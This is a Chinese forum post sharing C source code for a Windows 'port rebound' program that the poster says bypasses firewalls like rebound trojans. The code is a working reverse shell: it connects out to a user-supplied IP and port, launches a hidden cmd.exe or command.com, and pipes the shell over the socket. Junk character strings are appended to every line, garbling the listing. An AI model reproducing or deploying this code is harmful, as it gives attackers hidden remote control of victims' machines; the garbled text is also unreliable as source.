社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 5487阅读
  • 0回复

Windows下端口反弹

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 Zc' >}X[G  
v[3hnLN%  
/* ============================== _QOOx+%*5  
Rebound port in Windows NT -<}>YtB Q  
By wind,2006/7 1l`s1C  
===============================*/ 2'UFHiK  
#include }T1Xds8w)t  
#include #&`WMLl+8  
V~uA(3\U  
#pragma comment(lib,"wsock32.lib") ;P0Y6v3  
=ZJ?xA8  
void OutputShell(); E 4$h%5  
SOCKET sClient; 2I(@aB+  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; HTtGpTsF  
pTV@nP  
void main(int argc,char **argv) yM#trqv5  
{ :]z-Rz  
WSADATA stWsaData; 3PR7g  
int nRet; m 'H  
SOCKADDR_IN stSaiClient,stSaiServer; 5z(>4d!  
DRg ~HT  
if(argc != 3) n+F-,=0  
{ (.nJT"&  
printf("Useage:\n\rRebound DestIP DestPort\n"); Sy0s `\[  
return; 5SWX v+  
}  rgvc5p  
]!Aze^7;  
WSAStartup(MAKEWORD(2,2),&stWsaData); =iN_Ug+  
n)?F 9Wap  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); &=yqWW?  
!.GY~f<d$  
stSaiClient.sin_family = AF_INET; fjZveH0  
stSaiClient.sin_port = htons(0); A)p! w aG  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); @LMV?  
6;c{~$s~[  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) VA r?teY  
{ }lvP|6Y: y  
printf("Bind Socket Failed!\n"); _itN.^  
return; 4}YT@={g}  
} /s0VyUV=  
Z 7ZMu  
stSaiServer.sin_family = AF_INET; f'yd {ihFp  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); D '_#?%3^  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); zmS-s\$,  
b({b5z.A  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) d_|v=^;  
{ qmeEUch`  
printf("Connect Error!"); 4a-F4j'  
return; vlKKPS  
} T-cVM>u\D  
OutputShell(); 8o5^H>  
} ?lna8]t  
z+B  
void OutputShell() (C[S?@S  
{ 0`Qs=R`OM  
char szBuff[1024]; (Jr;:[4XC  
SECURITY_ATTRIBUTES stSecurityAttributes; 0<Y&2<v  
OSVERSIONINFO stOsversionInfo; Fi=8B&j  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 3~09)0"!d  
STARTUPINFO stStartupInfo; !g:G{b  
char *szShell; ~SUl,Cs  
PROCESS_INFORMATION stProcessInformation; .Zz7LG{  
unsigned long lBytesRead; _)H+..=  
Xg#([}b  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); U"G+su->e  
DL Q`<aU  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 4Lq]yUj  
stSecurityAttributes.lpSecurityDescriptor = 0; @wZ_VE7B  
stSecurityAttributes.bInheritHandle = TRUE; c{P`oB8  
! yUKNR  
iiFKt(  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 7i8qB462  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); g2_df3Q  
'V{k$}P2  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); #gT^hl5/  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; VDN]P3   
stStartupInfo.wShowWindow = SW_HIDE; } dlNMW  
stStartupInfo.hStdInput = hReadPipe; cO+`8`kv  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; WU@,1.F:  
?m^7O_1  
GetVersionEx(&stOsversionInfo); @Ec9Do>  
VqU:`?#"a  
switch(stOsversionInfo.dwPlatformId) #ms98pw%5  
{ pLcng[  
case 1: 8TvPCZ$x  
szShell = "command.com"; 73`UTXvWU  
break; uV:;y}T^Z  
default: Q{-r4n|b  
szShell = "cmd.exe"; >>xV-1h:  
break; jO.E#Ei}~  
} u^p[zepW\  
U#4W"1~iX  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); [: j_Y3-9  
S5!2%-;<k  
send(sClient,szMsg,77,0); 9q{dRS[A  
while(1) &6EfybAt^_  
{ Yl=  |P`  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); "YZ`g}sG  
if(lBytesRead) nQ6'yd"  
{ y~[So ,G  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 5gEK$7Vp  
send(sClient,szBuff,lBytesRead,0); >o7k%T|l$  
} _v,n~a}&  
else 8hT>)WH}wo  
{ Z%=E/xT  
lBytesRead=recv(sClient,szBuff,1024,0); S3f BZIPp  
if(lBytesRead<=0) break; ^" -2fJ  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 2S/7f:  
} Q0-~&e_'  
} N h%8;  
CcQ|0  
return; X}Fv*  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
描述
快速回复

您目前还是游客,请 登录注册
批量上传需要先选择文件,再选择上传
认证码:
验证问题:
10+5=?,请输入中文答案:十五